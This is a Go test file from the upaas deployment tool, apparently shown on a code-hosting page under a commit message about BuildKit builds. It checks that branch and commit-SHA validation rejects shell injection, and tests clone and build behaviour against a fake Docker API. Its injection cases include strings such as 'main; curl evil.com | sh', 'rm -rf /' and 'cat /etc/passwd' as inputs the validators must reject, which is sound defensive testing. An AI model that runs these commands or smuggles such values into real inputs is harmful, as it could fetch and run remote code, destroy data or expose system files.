Multi-stage app builds left an untagged image for every build stage after each deploy, and nothing could safely remove them. upaas now asks Docker for a BuildKit build, which keeps stages in Docker's build cache instead of as images; Docker limits and cleans that cache itself. The final image is still tagged `upaas-<app>:<N>`, so old-image cleanup is unchanged. BuildKit's progress messages are decoded and written to the deployment log as plain text. Deviation: adds `github.com/moby/buildkit` v0.16.0 (matching the pinned Docker client), added with `go get` since no make target adds dependencies. Judgement call: the cache limit is on by default only from Docker Engine 28.2; older engines need the `daemon.json` setting the README now names. Model: opus-5-5
317 lines
7.2 KiB
Go
317 lines
7.2 KiB
Go
package docker //nolint:testpackage // tests unexported regexps and Client struct
|
|
|
|
import (
|
|
"bytes"
|
|
"context"
|
|
"encoding/json"
|
|
"errors"
|
|
"fmt"
|
|
"log/slog"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"net/url"
|
|
"path/filepath"
|
|
"strings"
|
|
"testing"
|
|
"time"
|
|
|
|
"github.com/docker/docker/client"
|
|
controlapi "github.com/moby/buildkit/api/services/control"
|
|
)
|
|
|
|
// mainBranch is the branch name used across validation tests.
|
|
const mainBranch = "main"
|
|
|
|
func TestValidBranchRegex(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
valid := []string{
|
|
mainBranch,
|
|
"develop",
|
|
"feature/my-feature",
|
|
"release-1.0",
|
|
"v1.2.3",
|
|
"fix/issue_42",
|
|
"my.branch",
|
|
}
|
|
for _, b := range valid {
|
|
if !validBranchRe.MatchString(b) {
|
|
t.Errorf("expected branch %q to be valid", b)
|
|
}
|
|
}
|
|
|
|
invalid := []string{
|
|
"main; curl evil.com | sh",
|
|
"branch$(whoami)",
|
|
"branch`id`",
|
|
"branch && rm -rf /",
|
|
"branch | cat /etc/passwd",
|
|
"",
|
|
"branch name with spaces",
|
|
"branch\nnewline",
|
|
}
|
|
for _, b := range invalid {
|
|
if validBranchRe.MatchString(b) {
|
|
t.Errorf("expected branch %q to be invalid (potential injection)", b)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestValidCommitSHARegex(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
valid := []string{
|
|
"abc123def456789012345678901234567890abcd",
|
|
"0000000000000000000000000000000000000000",
|
|
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
|
}
|
|
for _, s := range valid {
|
|
if !validCommitSHARe.MatchString(s) {
|
|
t.Errorf("expected SHA %q to be valid", s)
|
|
}
|
|
}
|
|
|
|
invalid := []string{
|
|
"short",
|
|
"abc123",
|
|
"ABCDEF1234567890123456789012345678901234", // uppercase
|
|
"abc123def456789012345678901234567890abcd; rm -rf /",
|
|
"$(whoami)000000000000000000000000000000000",
|
|
"",
|
|
}
|
|
for _, s := range invalid {
|
|
if validCommitSHARe.MatchString(s) {
|
|
t.Errorf("expected SHA %q to be invalid (potential injection)", s)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestCloneRepoRejectsInjection(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
c := &Client{
|
|
log: slog.Default(),
|
|
}
|
|
|
|
tests := []struct {
|
|
name string
|
|
branch string
|
|
commitSHA string
|
|
wantErr error
|
|
}{
|
|
{
|
|
name: "shell injection in branch",
|
|
branch: "main; curl evil.com | sh #",
|
|
wantErr: ErrInvalidBranch,
|
|
},
|
|
{
|
|
name: "command substitution in branch",
|
|
branch: "$(whoami)",
|
|
wantErr: ErrInvalidBranch,
|
|
},
|
|
{
|
|
name: "backtick injection in branch",
|
|
branch: "`id`",
|
|
wantErr: ErrInvalidBranch,
|
|
},
|
|
{
|
|
name: "injection in commitSHA",
|
|
branch: mainBranch,
|
|
commitSHA: "not-a-sha; rm -rf /",
|
|
wantErr: ErrInvalidCommitSHA,
|
|
},
|
|
{
|
|
name: "short SHA rejected",
|
|
branch: mainBranch,
|
|
commitSHA: "abc123",
|
|
wantErr: ErrInvalidCommitSHA,
|
|
},
|
|
{
|
|
name: "valid inputs pass validation (hit NotConnected)",
|
|
branch: mainBranch,
|
|
commitSHA: "abc123def456789012345678901234567890abcd",
|
|
wantErr: ErrNotConnected,
|
|
},
|
|
{
|
|
name: "valid branch no SHA passes validation (hit NotConnected)",
|
|
branch: mainBranch,
|
|
wantErr: ErrNotConnected,
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
_, err := c.CloneRepo(
|
|
t.Context(),
|
|
"git@example.com:repo.git",
|
|
tt.branch,
|
|
tt.commitSHA,
|
|
"fake-key",
|
|
"/tmp/container",
|
|
"/tmp/host",
|
|
)
|
|
if err == nil {
|
|
t.Fatal("expected error, got nil")
|
|
}
|
|
|
|
if !errors.Is(err, tt.wantErr) {
|
|
t.Errorf("expected error %v, got %v", tt.wantErr, err)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
// TestPerformCloneRemovesContainerVolumes runs a clone against a fake Docker
|
|
// API and checks that the clone container is removed together with its
|
|
// anonymous volumes, whether the clone succeeds, fails, or is cancelled.
|
|
func TestPerformCloneRemovesContainerVolumes(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
tests := []struct {
|
|
name string
|
|
exitCode int
|
|
cancel bool
|
|
}{
|
|
{name: "succeeds", exitCode: 0},
|
|
{name: "fails", exitCode: 1},
|
|
{name: "cancelled", cancel: true},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
ctx, cancel := context.WithCancel(t.Context())
|
|
t.Cleanup(cancel)
|
|
|
|
removeQuery := make(chan url.Values, 1)
|
|
|
|
srv := httptest.NewServer(http.HandlerFunc(
|
|
func(w http.ResponseWriter, r *http.Request) {
|
|
w.Header().Set("Content-Type", "application/json")
|
|
|
|
switch {
|
|
case r.Method == http.MethodDelete:
|
|
removeQuery <- r.URL.Query()
|
|
case strings.HasSuffix(r.URL.Path, "/containers/create"):
|
|
_, _ = w.Write([]byte(`{"Id":"gitcontainer"}`))
|
|
case strings.HasSuffix(r.URL.Path, "/wait") && tt.cancel:
|
|
// Cancel the deploy while the clone is running.
|
|
cancel()
|
|
<-r.Context().Done()
|
|
case strings.HasSuffix(r.URL.Path, "/wait"):
|
|
_, _ = fmt.Fprintf(w, `{"StatusCode":%d}`, tt.exitCode)
|
|
default:
|
|
_, _ = w.Write([]byte(`{}`))
|
|
}
|
|
},
|
|
))
|
|
t.Cleanup(srv.Close)
|
|
|
|
dockerAPI, err := client.NewClientWithOpts(
|
|
client.WithHost("tcp://" + srv.Listener.Addr().String()),
|
|
)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
c := &Client{docker: dockerAPI, log: slog.Default()}
|
|
|
|
dir := t.TempDir()
|
|
cfg := &cloneConfig{
|
|
repoURL: "git@example.com:repo.git",
|
|
branch: mainBranch,
|
|
sshPrivateKey: "fake-key",
|
|
containerDir: filepath.Join(dir, "repo"),
|
|
hostDir: filepath.Join(dir, "repo"),
|
|
keyFile: filepath.Join(dir, "deploy_key"),
|
|
hostKeyFile: filepath.Join(dir, "deploy_key"),
|
|
}
|
|
|
|
_, _ = c.performClone(ctx, cfg)
|
|
|
|
select {
|
|
case query := <-removeQuery:
|
|
if query.Get("v") != "1" {
|
|
t.Errorf("clone container removed without its volumes: %v", query)
|
|
}
|
|
default:
|
|
t.Error("clone container was not removed")
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
// TestPerformBuildUsesBuildKit runs a build against a fake Docker API and
|
|
// checks that it asks for BuildKit and that BuildKit's progress reaches the
|
|
// build log as plain text.
|
|
func TestPerformBuildUsesBuildKit(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
now := time.Now()
|
|
status := controlapi.StatusResponse{Vertexes: []*controlapi.Vertex{{
|
|
Digest: "sha256:1111",
|
|
Name: "[build 2/2] RUN make",
|
|
Started: &now,
|
|
Completed: &now,
|
|
}}}
|
|
|
|
data, err := status.Marshal()
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
trace, err := json.Marshal(data)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
srv := httptest.NewServer(http.HandlerFunc(
|
|
func(w http.ResponseWriter, r *http.Request) {
|
|
switch {
|
|
case strings.HasSuffix(r.URL.Path, "/build"):
|
|
if r.URL.Query().Get("version") != "2" {
|
|
http.Error(w, "not a BuildKit build", http.StatusBadRequest)
|
|
|
|
return
|
|
}
|
|
|
|
_, _ = fmt.Fprintf(w, "{\"id\":\"moby.buildkit.trace\",\"aux\":%s}\n", trace)
|
|
default:
|
|
_, _ = w.Write([]byte(`{"Id":"sha256:built"}`))
|
|
}
|
|
},
|
|
))
|
|
t.Cleanup(srv.Close)
|
|
|
|
dockerAPI, err := client.NewClientWithOpts(
|
|
client.WithHost("tcp://" + srv.Listener.Addr().String()),
|
|
)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
c := &Client{docker: dockerAPI, log: slog.Default()}
|
|
|
|
var buildLog bytes.Buffer
|
|
|
|
imageID, err := c.performBuild(t.Context(), BuildImageOptions{
|
|
ContextDir: t.TempDir(),
|
|
Tags: []string{"upaas-test:1"},
|
|
LogWriter: &buildLog,
|
|
})
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
if imageID != "sha256:built" {
|
|
t.Errorf("unexpected image ID %q", imageID)
|
|
}
|
|
|
|
if !strings.Contains(buildLog.String(), "[build 2/2] RUN make") {
|
|
t.Errorf("build log is missing the build step:\n%s", buildLog.String())
|
|
}
|
|
}
|